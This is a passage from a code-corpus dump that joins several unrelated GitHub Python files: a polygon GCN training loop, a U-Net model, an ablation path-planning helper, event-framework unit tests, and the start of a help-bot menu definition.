self.val_loader = get_data_loaders(DataProvider=gcn_provider.DataProvider,\n                                                              data_dir=self.data_dir, config=self.config)\n        self.writer = SummaryWriter(os.path.join(self.log_dir, 'logs', 'train'))\n        self.val_writer = SummaryWriter(os.path.join(self.log_dir, 'logs', 'train_val'))\n\n        self.pool_size = config.POOL_SIZE\n        self.coarse_to_fine_steps = 3  # for GCN steps\n        self.n_adj = 4\n        self.cnn_feature_grids = [112, 56, 28, 28]\n        self.psp_feature = [self.cnn_feature_grids[-1]]\n        self.grid_size = 28\n        self.state_dim = 128\n        self.final_dim = 64 * 4\n        self.cp_num = config.CP_NUM\n        self.p_num = config.PNUM\n        self.fp_weight = 2.5\n        self.grad_clip = 40\n        # self.spline = ActiveSplineTorch(self.cp_num, self.p_num, device=device,\n        #                                 alpha=0.5)\n        self.spline = ActiveBoundaryTorch(self.cp_num, self.p_num, device=device,\n                                        alpha=0.5)\n\n        self.lr = 3e-5\n        self.weight_decay = 1e-5\n        self.lr_decay = 7\n\n        self.model = poly_gnn.PolyGNN(state_dim=self.state_dim,\n                                      n_adj=self.n_adj,\n                                      cnn_feature_grids=self.cnn_feature_grids,\n                                      coarse_to_fine_steps=self.coarse_to_fine_steps,\n                                      get_point_annotation=False,\n                                      )\n\n        if config.GPU_COUNT:\n            self.model = self.model.cuda()\n\n        self.model.encoder.reload(self.model_dir)\n\n        # OPTIMIZER\n        no_wd = []\n        wd = []\n        print(\"Weight Decay applied to:\")\n\n        for name, p in self.model.named_parameters():\n            if not p.requires_grad:\n                # No optimization for frozen params\n                continue\n\n            if 'bn' in name or 'bias' in name:\n                no_wd.append(p)\n            else:\n                wd.append(p)\n                # print(name),\n\n        # Allow individual options\n        self.optimizer = optim.Adam(\n            [\n                {'params': no_wd, 'weight_decay': 0.0},\n                {'params': wd}\n            ],\n            lr=self.lr,\n            weight_decay=self.weight_decay,\n            amsgrad=False)\n\n        self.lr_decay = optim.lr_scheduler.StepLR(self.optimizer, step_size=self.lr_decay,\n                                                  gamma=0.1)\n\n        if args.resume is not None:\n            self.resume(args.resume)\n\n    def save_checkpoint(self, epoch):\n        save_state = {\n            'epoch': epoch,\n            'global_step': self.global_step,\n            'state_dict': self.model.state_dict(),\n            'optimizer': self.optimizer.state_dict(),\n            'lr_decay': self.lr_decay.state_dict()\n        }\n\n        save_name = os.path.join(self.log_dir, 'epoch%d_step%d.pth' \\\n                                 % (epoch, self.global_step))\n        torch.save(save_state, save_name)\n        print('Saved model')\n\n    def resume(self, path):\n        self.model.reload(path)\n        save_state = torch.load(path)\n        self.global_step = save_state['global_step']\n        self.epoch = save_state['epoch']\n        self.optimizer.load_state_dict(save_state['optimizer'])\n        self.lr_decay.load_state_dict(save_state['lr_decay'])\n\n    def loop(self):\n        for epoch in range(self.epoch, self.max_epochs):\n            if not self.config.DEBUG:\n                self.save_checkpoint(epoch)\n                self.lr_decay.step()\n                print('LR is now: %.7f' % (self.optimizer.param_groups[0]['lr']))\n            self.train(epoch)\n\n    def train(self, epoch):\n        print('Starting training')\n\n        self.model.train()\n\n        accum = defaultdict(float)\n        # To accumulate stats for printing\n\n        for step, data in enumerate(self.train_loader):\n            if step == self.max_train_step:\n                break\n            if len(data['img']) == 1:\n                continue\n\n            # if self.opts['get_point_annotation']:\n            #     img = data['img'].to(device)\n            #     annotation = data['annotation_prior'].to(device).unsqueeze(1)\n            #\n            #     img = torch.cat([img, annotation], 1)\n            img = data['img'].to(device)\n\n            self.optimizer.zero_grad()\n            if (self.global_step) % self.val_freq == 0:\n                self.validate(epoch)\n\n            if (self.global_step) % self.save_freq == 0:\n                self.save_checkpoint(epoch)\n\n\n            output = self.model(img, data['fwd_poly'])\n\n            loss_sum = 0\n            pred_cps = output['pred_polys'][-1]\n\n            # pred_polys = self.spline.sample_point(pred_cps, self.p_num)\n\n            gt = data['gt_poly'].to(device)\n\n            gt_right_order, poly_mathcing_loss_sum = losses.poly_mathcing_loss(self.p_num,\n                                                                               pred_cps, gt, loss_type='L1')\n            loss_sum += poly_mathcing_loss_sum\n\n            edge_annotation_loss = 0\n\n            curr_fp_edge_loss = self.fp_weight * losses.fp_edge_loss(data['edge_mask'].to(device),\n                                                                             output['edge_logits'])\n            edge_annotation_loss += curr_fp_edge_loss\n\n            fp_vertex_loss = self.fp_weight * losses.fp_vertex_loss(data['vertex_mask'].to(device),\n                                                                            output['vertex_logits'])\n            edge_annotation_loss += fp_vertex_loss\n\n            loss_sum += edge_annotation_loss\n            loss_sum.backward()\n\n            nn.utils.clip_grad_norm_(self.model.parameters(), self.grad_clip)\n\n            self.optimizer.step()\n\n            preds= pred_cps.detach().data.cpu().numpy()\n            preds_gcn = pred_cps.detach().data.cpu().numpy()\n            with torch.no_grad():\n                # Get IoU\n                iou = 0\n                # orig_poly = data['orig_poly']\n                orig_poly = gt.data.cpu().numpy()\n\n                for i in range(preds.shape[0]):\n                    curr_pred_poly = np.floor(preds[i] * 224).astype(np.int32)\n                    # curr_predgcn_poly = np.floor(preds_gcn[i] * 224).astype(np.int32)\n                    curr_gt_poly = np.floor(orig_poly[i] * 224).astype(np.int32)\n\n                    cur_iou, masks = metrics.iou_from_poly(np.array(curr_pred_poly, dtype=np.int32),\n                                                           np.array(curr_gt_poly, dtype=np.int32),\n                                                           224,\n                                                           224)\n\n                    iou += cur_iou\n\n                # shape_mask = np.zeros((224, 224, 3), dtype=np.uint8)\n                gt_shape_mask = np.zeros((224, 224, 3), dtype=np.uint8)\n                smooth_mask = np.zeros((224, 224, 3), dtype=np.uint8)\n                gt_shape_mask = utils.draw_poly_line(gt_shape_mask, curr_gt_poly)\n                # shape_mask = utils.draw_poly_line(shape_mask, curr_predgcn_poly)\n                smooth_mask = utils.draw_poly_line(smooth_mask, curr_pred_poly)\n\n                iou = iou / preds.shape[0]\n                accum['loss'] += float(loss_sum.item())\n                accum['point_loss'] += float(poly_mathcing_loss_sum.item())\n                accum['iou'] += iou\n                accum['length'] += 1\n                accum['edge_annotation_loss'] += float(edge_annotation_loss.item())\n                print(\n                    \"TRA [%s] Epoch: %d, Step: %d, Complete: %.3f,  Polygon Loss: %.3f,  IOU: %.3f,  Point_loss: %.3f, vertex_loss: %.3f, edge_loss: %.3f\" \\\n                    % (str(datetime.now()), epoch, self.global_step, step/self.max_train_step, accum['loss'] / accum['length'], accum['iou'] / accum['length'], poly_mathcing_loss_sum.data.cpu().item(), fp_vertex_loss.data.cpu().item(), curr_fp_edge_loss.data.cpu().item()))\n                if step % self.print_freq == 0:\n                    # Mean of accumulated values\n                    for k in accum.keys():\n                        if k == 'length':\n                            continue\n                        accum[k] /= accum['length']\n\n                    # Add summaries\n                    masks = np.expand_dims(masks, -1).astype(np.uint8)  # Add a channel dimension\n                    masks = np.tile(masks, [1, 1, 1, 3])  # Make [2, H, W, 3]\n                    # shape_mask = np.expand_dims(shape_mask, -1).astype(np.uint8)\n                    # shape_mask = np.tile(shape_mask, [1, 1, 1, 3])\n                    img = (data['img'].cpu().numpy()[-1, ...] * 255).astype(np.uint8)\n                    img = np.transpose(img, [1, 2, 0])  # Make [H, W, 3]\n\n                    # self.writer.add_image('pred_mask', masks[0], self.global_step)\n                    # self.writer.add_image('gt_mask', masks[1], self.global_step)\n                    self.writer.add_image('image', img, self.global_step)\n                    # self.writer.add_image('pred_polyline', shape_mask, self.global_step)\n                    self.writer.add_image('pre_polyline', smooth_mask, self.global_step)\n                    self.writer.add_image('gt_polyline', gt_shape_mask, self.global_step)\n\n\n                    for k in accum.keys():\n                        if k == 'length':\n                            continue\n                        self.writer.add_scalar(k, accum[k], self.global_step)\n\n                    # print(\n                    # \"[%s] Epoch: %d, Step: %d, Polygon Loss: %f,  IOU: %f\" \\\n                    # % (str(datetime.now()), epoch, self.global_step, accum['loss'], accum['iou']))\n\n                    accum = defaultdict(float)\n\n            del (output, masks, pred_cps, preds, loss_sum)\n            self.global_step += 1\n\n    def validate(self, epoch):\n        print('Validating')\n        self.model.eval()\n        # Leave train mode\n\n        with torch.no_grad():\n            ious = []\n            accum = defaultdict(float)\n            for step, data in enumerate(self.val_loader):\n\n                if step == self.max_val_step:\n                    break\n\n                if len(data['orig_poly']) == 1:\n                    continue\n                # if self.opts['get_point_annotation']:\n                #     img = data['img'].to(device)\n                #     annotation = data['annotation_prior'].to(device).unsqueeze(1)\n                #\n                #     img = torch.cat([img, annotation], 1)\n                image = data['img'].numpy().copy()\n\n                img = data['img'].to(device)\n\n                output = self.model(img, data['fwd_poly'])\n\n                pred_cps = output['pred_polys'][-1]\n                # pred_cps = torch.gather(pred_cps, 2, torch.LongTensor([1, 0]).to(device))\n                # pred_polys = self.spline.sample_point(pred_cps, self.p_num)\n                gt = data['gt_poly'].to(device)\n\n                loss_sum = 0\n\n                gt_right_order, poly_mathcing_loss_sum = losses.poly_mathcing_loss(self.p_num,\n                                                                                   pred_cps,\n                                                                                   gt,\n                                                                                   loss_type='L1')\n                loss_sum += poly_mathcing_loss_sum\n\n                edge_annotation_loss = 0\n\n                curr_fp_edge_loss = self.fp_weight * losses.fp_edge_loss(data['edge_mask'].to(device),\n                                                                    output['edge_logits'])\n                edge_annotation_loss += curr_fp_edge_loss\n\n                fp_vertex_loss = self.fp_weight * losses.fp_vertex_loss(data['vertex_mask'].to(device),\n                                                                   output['vertex_logits'])\n                edge_annotation_loss += fp_vertex_loss\n\n                loss_sum += edge_annotation_loss\n\n                pred_polys_val = pred_cps.data.cpu().numpy().copy()\n                # print(pred_polys.shape)\n                # Get IoU\n                iou = 0\n                preds_gcn = pred_cps.detach().data.cpu().numpy()\n                orig_poly = data['orig_poly']\n                gt_polys = gt.data.cpu().numpy()\n                orig_poly = gt_polys\n\n                for i in range(pred_cps.shape[0]):\n                    # curr_pred_poly = utils.poly01_to_poly0g(pred_polys_val[i], self.model.grid_size)\n                    # curr_gt_poly = utils.poly01_to_poly0g(orig_poly[i], self.model.grid_size)\n                    # i, masks = metrics.iou_from_poly(np.array(curr_pred_poly, dtype=np.int32),\n                    #                                        np.array(curr_gt_poly, dtype=np.int32),\n                    #                                        self.model.grid_size,\n                    #                                        self.model.grid_size)\n\n                    curr_pred_poly = np.floor(pred_polys_val[i] * 224).astype(np.int32)\n                    # curr_predgcn_poly = np.floor(preds_gcn[i] * 224).astype(np.int32)\n                    curr_gt_poly = np.floor(orig_poly[i] * 224).astype(np.int32)\n\n                    iou_per, masks = metrics.iou_from_poly(np.array(curr_pred_poly, dtype=np.int32),\n                                                           np.array(curr_gt_poly, dtype=np.int32),\n                                                           224,\n                                                           224)\n\n                    iou += iou_per\n\n                # shape_mask = np.zeros((224, 224, 3), dtype=np.uint8)\n                gt_shape_mask = np.zeros((224, 224, 3), dtype=np.uint8)\n                smooth_mask = np.zeros((224, 224, 3), dtype=np.uint8)\n                gt_shape_mask = utils.draw_poly_line(gt_shape_mask, curr_gt_poly)\n                # shape_mask = utils.draw_poly_line(shape_mask, curr_predgcn_poly)\n                smooth_mask = utils.draw_poly_line(smooth_mask, curr_pred_poly)\n\n                iou = iou / pred_cps.shape[0]\n                ious.append(iou)\n\n                accum['loss'] += float(loss_sum.item())\n                accum['point_loss'] += float(poly_mathcing_loss_sum.item())\n                accum['iou'] += iou\n                accum['length'] += 1\n                accum['edge_annotation_loss'] += float(edge_annotation_loss.item())\n\n                print(\n                    \"VAL [%s] Epoch: %d, Step: %d, Complete: %.3f, Polygon Loss: %.3f,  IOU: %.3f,  Point_loss: %.3f, vertex_loss: %.3f, edge_loss: %.3f\" \\\n                    % (str(datetime.now()), epoch, self.global_step, step/self.max_val_step, accum['loss'] / accum['length'],\n                       accum['iou'] / accum['length'], poly_mathcing_loss_sum.data.cpu().item(),\n                       fp_vertex_loss.data.cpu().item(), curr_fp_edge_loss.data.cpu().item()))\n                del (output, loss_sum)\n\n\n            for k in accum.keys():\n                if k == 'length':\n                    continue\n                accum[k] /= accum['length']\n                self.val_writer.add_scalar(k, accum[k], self.global_step)\n\n            masks = np.expand_dims(masks, -1).astype(np.uint8)  # Add a channel dimension\n            masks = np.tile(masks, [1, 1, 1, 3])  # Make [2, H, W, 3]\n            image = (image[-1, ...] * 255).astype(np.uint8)\n            image = np.transpose(image, [1, 2, 0])  # Make [H, W, 3]\n\n            # self.val_writer.add_image('pred_mask', masks[0], self.global_step)\n            # self.val_writer.add_image('gt_mask', masks[1], self.global_step)\n            self.val_writer.add_image('image', image, self.global_step)\n            # self.val_writer.add_image('pred_polyline', shape_mask, self.global_step)\n            self.val_writer.add_image('pre_polyline', smooth_mask, self.global_step)\n            self.val_writer.add_image('gt_polyline', gt_shape_mask, self.global_step)\n            iou = np.mean(ious)\n            print('[VAL] IoU: %.3f' % iou)\n            accum = defaultdict(float)\n            del (masks, smooth_mask, pred_cps, gt_shape_mask)\n\n        self.model.train()\n\n\nif __name__ == '__main__':\n    print('==> Parsing Args')\n    args = get_args()\n    print('==>load configuration')\n    configs = BuildingConfig()\n    print('Init Trainer')\n    trainer = Trainer(args, configs)\n    print('==> Start Loop over trainer')\n    trainer.loop()\n","repo_name":"Miracle2333/R-PolyGCN","sub_path":"experiments/train_gcn.py","file_name":"train_gcn.py","file_ext":"py","file_size_in_byte":20073,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"51"}
+{"seq_id":"26263068447","text":"import torch.nn as nn\nimport torch.utils.data\nimport torch\nimport torch.nn.functional as F\n\n\ndef pad_to_ratio_of_32(tensor):\n    B, C, H, W = tensor.size()\n\n    next_h_multiple_of_32 = (H + 31) // 32 * 32\n    next_w_multiple_of_32 = (W + 31) // 32 * 32\n\n    padding_h = next_h_multiple_of_32 - H\n    padding_w = next_w_multiple_of_32 - W\n\n    padded_tensor = F.pad(tensor, (0, padding_w, 0, padding_h), mode='circular')\n\n    return padded_tensor\n\n\ndef unpad_from_ratio_of_32(padded_tensor, original_shape):\n    B, C, H, W = original_shape\n    unpadded_tensor = padded_tensor[:, :, :H, :W]\n    return unpadded_tensor\n\n\nclass conv_block(nn.Module):\n    def __init__(self, in_ch, out_ch):\n        super(conv_block, self).__init__()\n\n        self.conv = nn.Sequential(\n            nn.Conv2d(in_ch, out_ch, kernel_size=3, stride=1, padding=1, bias=True),\n            nn.LeakyReLU(negative_slope=0.01, inplace=True),\n            nn.Conv2d(out_ch, out_ch, kernel_size=3, stride=1, padding=1, bias=True),\n            nn.LeakyReLU(negative_slope=0.01, inplace=True))\n\n        self.conv_residual = nn.Conv2d(in_ch, out_ch, kernel_size=1, stride=1, bias=True)\n\n    def forward(self, x):\n        x = self.conv(x) + self.conv_residual(x)\n        return x\n\n\nclass U_Net(nn.Module):\n    def __init__(self, in_ch=3, out_ch=3):\n        super(U_Net, self).__init__()\n\n        n1 = 32\n        filters = [n1, n1 * 2, n1 * 4, n1 * 8, n1 * 16]\n\n        self.Down1 = nn.Conv2d(filters[0], filters[0], kernel_size=4, stride=2, padding=1, bias=True)\n        self.Down2 = nn.Conv2d(filters[1], filters[1], kernel_size=4, stride=2, padding=1, bias=True)\n        self.Down3 = nn.Conv2d(filters[2], filters[2], kernel_size=4, stride=2, padding=1, bias=True)\n        self.Down4 = nn.Conv2d(filters[3], filters[3], kernel_size=4, stride=2, padding=1, bias=True)\n\n        self.Conv1 = conv_block(in_ch, filters[0])\n        self.Conv2 = conv_block(filters[0], filters[1])\n        self.Conv3 = conv_block(filters[1], filters[2])\n        self.Conv4 = conv_block(filters[2], filters[3])\n        self.Conv5 = conv_block(filters[3], filters[4])\n\n        self.Up5 = nn.ConvTranspose2d(filters[4], filters[3], kernel_size=2, stride=2, padding=0, bias=True)\n        self.Up_conv5 = conv_block(filters[4], filters[3])\n\n        self.Up4 = nn.ConvTranspose2d(filters[3], filters[2], kernel_size=2, stride=2, padding=0, bias=True)\n        self.Up_conv4 = conv_block(filters[3], filters[2])\n\n        self.Up3 = nn.ConvTranspose2d(filters[2], filters[1], kernel_size=2, stride=2, padding=0, bias=True)\n        self.Up_conv3 = conv_block(filters[2], filters[1])\n\n        self.Up2 = nn.ConvTranspose2d(filters[1], filters[0], kernel_size=2, stride=2, padding=0, bias=True)\n        self.Up_conv2 = conv_block(filters[1], filters[0])\n\n        self.Conv = nn.Conv2d(filters[0], out_ch, kernel_size=1, stride=1, padding=0)\n\n    def forward(self, x):\n        shape = x.shape\n        x = pad_to_ratio_of_32(x)\n        \n        e1 = self.Conv1(x)\n\n        e2 = self.Down1(e1)\n        e2 = self.Conv2(e2)\n\n        e3 = self.Down2(e2)\n        e3 = self.Conv3(e3)\n\n        e4 = self.Down3(e3)\n        e4 = self.Conv4(e4)\n\n        e5 = self.Down4(e4)\n        e5 = self.Conv5(e5)\n\n        d5 = self.Up5(e5)\n        d5 = torch.cat((e4, d5), dim=1)\n        d5 = self.Up_conv5(d5)\n\n        d4 = self.Up4(d5)\n        d4 = torch.cat((e3, d4), dim=1)\n        d4 = self.Up_conv4(d4)\n\n        d3 = self.Up3(d4)\n        d3 = torch.cat((e2, d3), dim=1)\n        d3 = self.Up_conv3(d3)\n\n        d2 = self.Up2(d3)\n        d2 = torch.cat((e1, d2), dim=1)\n        d2 = self.Up_conv2(d2)\n\n        out = self.Conv(d2)\n        \n        out = out + x\n\n        out = unpad_from_ratio_of_32(out, shape)\n        return out","repo_name":"princeton-computational-imaging/Delta-Prox","sub_path":"dprox/contrib/optic/unet.py","file_name":"unet.py","file_ext":"py","file_size_in_byte":3739,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"51"}
+{"seq_id":"12773581979","text":"\"\"\"\n# @author chrisxu\n# @create 2020-08-21 15:18\n# Ctrl + Alt + L：格式化代码\n# ctrl + Alt + T：代码块包围\n# ctrl + Y：删除行\n# ctrl + D：复制行\n# alt+上/下：移动光标到上/下方法\n\"\"\"\nimport threading\n\nfrom singleton.Auto2BaseVtk import Auto2BaseVtk\nfrom singleton.Auto2Para import Auto2Para\nfrom math import degrees, atan, acos\n\nfrom singleton.LineGetter import LineGetter\nfrom singleton.TimeMe import time_me\n\n\nclass FcomAgent(object):\n    \"\"\"\n    规划方法2的求解质心可行域的代理类\n    \"\"\"\n    instance = None  # 记录第一个被创建对象的引用\n    _instance_lock = threading.Lock()\n\n    init_flag = False  # 标记是否执行过初始化动作\n\n    def __new__(cls, *args, **kwargs):\n        \"\"\"\n        可被继承的单例模式\n        :param args:\n        :param kwargs:\n        :return:\n        \"\"\"\n        if not hasattr(cls, 'instance_dict'):\n            FcomAgent.instance_dict = {}\n\n        if str(cls) not in FcomAgent.instance_dict.keys():\n            with FcomAgent._instance_lock:\n                # print(\"新建FcomAgent可行域求解的代理类\")\n                _instance = super().__new__(cls)\n                FcomAgent.instance_dict[str(cls)] = _instance\n\n        return FcomAgent.instance_dict[str(cls)]\n\n    def __init__(self):\n        if not FcomAgent.init_flag:\n            # print(\"初始化FcomAgent可行域求解的代理类\")\n            super().__init__()\n            FcomAgent.init_flag = True\n\n    def get_del(self):\n        \"\"\"\n        求解质心可行域的约束\n        :return:\n        \"\"\"\n        target = Auto2BaseVtk().tumor.centerOfMass()\n        skinpts = Auto2BaseVtk().skin.points()\n        # print(\"皮肤点共有\", len(skinpts))\n        del_index = []\n\n        for index, skinpt in enumerate(skinpts):\n            sph = self.get_spheretf(skinpt, target)\n            # 横向/纵向角度约束\n            if self.bool_region(sph) == 1:\n                del_index.append(index)\n            # 避障约束\n            elif self.bool_safe(skinpt, target) == 1:\n                del_index.append(index)\n            elif self.bool_cavity(skinpt, target) == 1:\n                del_index.append(index)\n        print(\"删除皮肤点数\", len(del_index), \"质心可行域点数\", len(skinpts) - len(del_index))\n\n        return del_index\n\n    def bool_region(self, sph):\n        \"\"\"\n        第一步，区域约束\n        输入：皮肤点的球面角度\n        不满足则返回1\n        :return:\n        \"\"\"\n        if Auto2Para().phi[0] > sph[2] or sph[2] > Auto2Para().phi[1] or abs(sph[1] - 90) > Auto2Para().mz or sph[\n            0] > 120:\n            return 1\n        else:\n            return 0\n\n    def bool_safe(self, PUN, TAR):\n        \"\"\"\n        第二步：避障约束\n        使用intersectWithLine检测碰撞\n        判断路径与障碍点是否相交\n        :param PUN:\n        :param TAR:\n        :return: 0安全、1相交\n        \"\"\"\n        baseVtk = Auto2BaseVtk()\n        for ob in baseVtk.ob:\n            pts = ob.intersectWithLine(PUN, TAR)\n            if len(pts) > 0:\n                return 1\n        return 0\n\n    def bool_cavity(self, PUN, TAR):\n        \"\"\"\n        空腔约束\n        \"\"\"\n        liver = Auto2BaseVtk().liver\n        intersect = liver.intersectWithLine(PUN, TAR)\n        if Auto2Para.index == 2:\n            return 0\n        else:\n            if LineGetter().get_dist(PUN, TAR) / LineGetter().get_dist(intersect[0], TAR) > 3:\n                return 1\n            else:\n                return 0\n\n    def get_spheretf(self, pt, target):\n        \"\"\"\n        功能：直角坐标点(如：皮肤、肿瘤表面、肝脏表面、障碍物表面)\n        →→→→→→→→→real球坐标点(θ∈[0, π]， φ∈[0,2π] )\n        \"\"\"\n        pt_SPH = [0, 0, 0]\n        pt_SPH[0] = ((pt[0] - target[0]) ** 2 + (pt[1] - target[1]) ** 2 + (pt[2] - target[2]) ** 2) ** 0.5\n        # 对的，参照arccosx的图像，x在[-1,0]时，y属于[90,180]，x在[0,1]时，y属于[0,90]，这部分相当于确定了上部分/下部分\n        pt_SPH[1] = degrees(acos((pt[2] - target[2]) / pt_SPH[0]))\n        if pt[0] - target[0] > 0 and pt[1] - target[1] > 0:\n            pt_SPH[2] = degrees(atan((pt[1] - target[1]) / (pt[0] - target[0])))\n        elif pt[0] - target[0] < 0:  # 第二/第三象限\n            pt_SPH[2] = degrees(atan((pt[1] - target[1]) / (pt[0] - target[0]))) + 180\n        elif pt[0] - target[0] > 0 and pt[1] - target[1] < 0:  # 第四象限\n            # 0823bug:不一定满足这个条件导致角度大于360\n            # print(pt[0]-target[0]>0 and pt[1]-target[1]<0)\n            pt_SPH[2] = degrees(atan((pt[1] - target[1]) / (pt[0] - target[0]))) + 360\n        if pt[0] - target[0] == 0 and pt[1] - target[1] > 0:\n            pt_SPH[2] = 90\n        if pt[0] - target[0] < 0 and pt[1] - target[1] == 0:\n            pt_SPH[2] = 180\n        if pt[0] - target[0] == 0 and pt[1] - target[1] < 0:\n            pt_SPH[2] = 270\n        return pt_SPH\n#\n# if __name__ == '__main__':\n#     a=FcomAgent()\n#     b=FcomAgent()\n#     print(a is b)\n#     print([1,2]+[3,4]+[5,6])\n","repo_name":"chrisxyq/student-projects","sub_path":"ablation-algorithm/class/step1agent/FcomAgent.py","file_name":"FcomAgent.py","file_ext":"py","file_size_in_byte":5146,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"51"}
+{"seq_id":"29386042782","text":"\"\"\"Basic tests for the events framework.\"\"\"\nimport gc\nimport typing\nfrom contextlib import contextmanager\nfrom typing import Dict\n\nimport pytest\n\nfrom stackzilla.events import StackzillaEvent\nfrom stackzilla.events.exceptions import (HandlerException, HandlerNotFound,\n                                          ParameterMissing,\n                                          UnsupportedHandlerType)\nfrom stackzilla.resource import StackzillaResource\n\nif typing.TYPE_CHECKING:\n    from stackzilla.resource import StackzillaResource\n\n@contextmanager\ndef garbage_cleanup(*args, **kwds):\n    try:\n        yield\n    finally:\n        gc.collect()\n\nclass MockResource:\n    global_call_count = 0\n    # Dictionary mapping of created resources and their handler call count\n    was_called: Dict[int, int] = {}\n\n    def __init__(self) -> None:\n        self.call_count = 0\n        MockResource.was_called[id(self)] = 0\n\n    def handler(self, sender: 'StackzillaResource'):\n        self.call_count += 1\n        MockResource.global_call_count += 1\n        MockResource.was_called[id(self)] += 1\n\n    def handler_with_exception(self, sender):\n        raise RuntimeError('Oh noes!')\n\n    def handler_no_sender(self):\n        \"\"\"Intentioanlly missing the 'sender' parameter\"\"\"\n        pass\n\n    @staticmethod\n    def verify_called():\n        for id, count in MockResource.was_called.items():\n            assert count > 0\n\nclass DummyResource(StackzillaResource):\n    \"\"\"A dummy resource to use as an event source.\"\"\"\n\ndef test_basic_event():\n    \"\"\"Basic event subscription\"\"\"\n    event = StackzillaEvent()\n    resource = MockResource()\n\n    event.attach(handler=resource.handler)\n\n    event.invoke(sender=None)\n\n    MockResource.verify_called()\n    assert MockResource.global_call_count == 1\n\ndef test_resource_delete():\n    \"\"\"Test the scenario where a resource is delted without detaching itself from an event.\"\"\"\n    event = StackzillaEvent()\n    MockResource.global_call_count = 0\n\n    with garbage_cleanup():\n        resource = MockResource()\n        event.attach(handler=resource.handler)\n        del resource\n\n    event.invoke(sender=None)\n\n    assert MockResource.global_call_count == 0\n\ndef test_multiple_attachments():\n    \"\"\"Attach multiple handlers to a single event.\"\"\"\n    event = StackzillaEvent()\n    MockResource.global_call_count = 0\n    resourceA = MockResource()\n    resourceB = MockResource()\n    resourceC = MockResource()\n    for resource in [resourceA, resourceB, resourceC]:\n        event.attach(resource.handler)\n\n    event.invoke(sender=None)\n    assert MockResource.global_call_count == 3\n\ndef test_multiple_attachments_with_deletion():\n    \"\"\"Attach multiple handlers to an event, but delete some!\"\"\"\n    event = StackzillaEvent()\n    MockResource.global_call_count = 0\n    resourceA = MockResource()\n    resourceB = MockResource()\n    resourceC = MockResource()\n    for resource in [resourceA, resourceB, resourceC]:\n        event.attach(resource.handler)\n\n    event.invoke(sender=None)\n    assert MockResource.global_call_count == 3\n\n    # Now, let's delete two of the handlers\n    del resourceA\n    del resourceB\n    gc.collect()\n\n    event.invoke(sender=None)\n    assert MockResource.global_call_count == 4\n\ndef test_lambda_handlers():\n    \"\"\"Make sure that lambdas can be used as handlers.\"\"\"\n    event = StackzillaEvent()\n    handler = lambda sender: print('yo')\n    event.attach(handler=handler)\n    event.invoke(sender=None)\n\ndef test_event_source():\n    \"\"\"Make sure that the event source makes it to the handler.\"\"\"\n    event = StackzillaEvent()\n    def handler(sender):\n        assert isinstance(sender, StackzillaResource)\n    event.attach(handler=handler)\n    sender = DummyResource()\n    event.invoke(sender=sender)\n\ndef test_unsupported_handlers():\n    \"\"\"Verify that non-method/function handlers are rejected.\"\"\"\n    event = StackzillaEvent()\n\n    with pytest.raises(UnsupportedHandlerType):\n        string = 'foo'\n        event.attach(handler=string)\n\n    with pytest.raises(UnsupportedHandlerType):\n        integer = 42\n        event.attach(handler=integer)\n\n    with pytest.raises(UnsupportedHandlerType):\n        class Foo: pass\n        event.attach(handler=Foo)\n\n    with pytest.raises(UnsupportedHandlerType):\n        class Bar: pass\n        obj = Bar()\n        event.attach(handler=obj)\n\ndef test_detach():\n    event = StackzillaEvent()\n    MockResource.global_call_count = 0\n    resourceA = MockResource()\n    resourceB = MockResource()\n    resourceC = MockResource()\n    for resource in [resourceA, resourceB, resourceC]:\n        event.attach(resource.handler)\n\n    event.invoke(sender=None)\n    assert MockResource.global_call_count == 3\n\n    # Now detach the first two\n    event.detatch(resourceA.handler)\n    event.detatch(resourceB.handler)\n\n    event.invoke(sender=None)\n    assert MockResource.global_call_count == 4\n\ndef test_invalid_detach():\n    \"\"\"Attempt to detach a handler that wasn't already attached.\"\"\"\n    event = StackzillaEvent()\n    MockResource.global_call_count = 0\n    resourceA = MockResource()\n    event.attach(resourceA.handler)\n\n    event.detatch(resourceA.handler)\n\n    # Ensure the handler is no longer attached.\n    with pytest.raises(HandlerNotFound):\n        event.detatch(resourceA.handler)\n\ndef test_handler_exception():\n    \"\"\"Make sure that a handler which raises an exception doesn't screw everything up.\"\"\"\n    event = StackzillaEvent()\n    resourceA = MockResource()\n    event.attach(resourceA.handler_with_exception)\n\n    with pytest.raises(HandlerException):\n        event.invoke(sender=None)\n\ndef test_handler_missing_sender():\n    \"\"\"Pass in a handler that does not have all required arguments.\"\"\"\n    event = StackzillaEvent()\n    resourceA = MockResource()\n    event.attach(resourceA.handler_no_sender)\n\n    with pytest.raises(ParameterMissing):\n        event.invoke(sender=None)\n","repo_name":"ZimventuresLLC/stackzilla","sub_path":"stackzilla/events/tests/test_events.py","file_name":"test_events.py","file_ext":"py","file_size_in_byte":5858,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"30583383295","text":"from utils import (\n    message,\n    action_link,\n    action_input,\n    button,\n)\n\nfrom messages.utils import location_select\n\n\nmessages = {\n    **location_select('need_help_i_am_now_in', 'i_need_help'),\n    'i_need_help': message(\n        'i_need_help_with_message',\n        buttons=[\n            button('shelter_button', action_link('i_need_shelter'), context={'NeedType': 'Shelter'}),\n            button('medical_support_button', action_link('i_need_medical_support'), context={'Need': 'MedicalSupport'}),\n            button('material_support_button', action_link('i_need_material_support'), context={'Need': 'Material'}),\n            button('jewish_organization_button', action_link('i_need_jewish_organization'), context={'Need': 'Jews'}),\n            button('psychological_support_button', action_link('i_need_psychological'), context={'Need': 'Psychological'}),\n            button('lawyers_button', action_link('i_need_lawyers'), context={'Need': 'Lawyer'}),\n        ],\n    ),\n    'i_need_shelter': message(\n        'i_need_shelter_info_message',\n        buttons=[\n            button('main_menu_button', action_link('main_menu')),\n        ],\n    ),\n    'i_need_medical_support': message(\n        'i_need_medical_support_message',\n        buttons=[\n            button('main_menu_button', action_link('main_menu')),\n        ],\n    ),\n    'i_need_material_support': message(\n        'i_need_material_support_message',\n        buttons=[\n            button('main_menu_button', action_link('main_menu')),\n        ],\n    ),\n    'i_need_jewish_organization': message(\n        'i_need_jewish_info_message',\n        buttons=[\n            button('main_menu_button', action_link('main_menu')),\n        ],\n    ),\n    'i_need_psychological': message(\n        'i_need_psychological_info_message',\n        buttons=[\n            button('main_menu_button', action_link('main_menu')),\n        ],\n    ),\n    'i_need_lawyers': message(\n        'i_need_lawyers_info_message',\n        buttons=[\n            button('main_menu_button', action_link('main_menu')),\n        ],\n    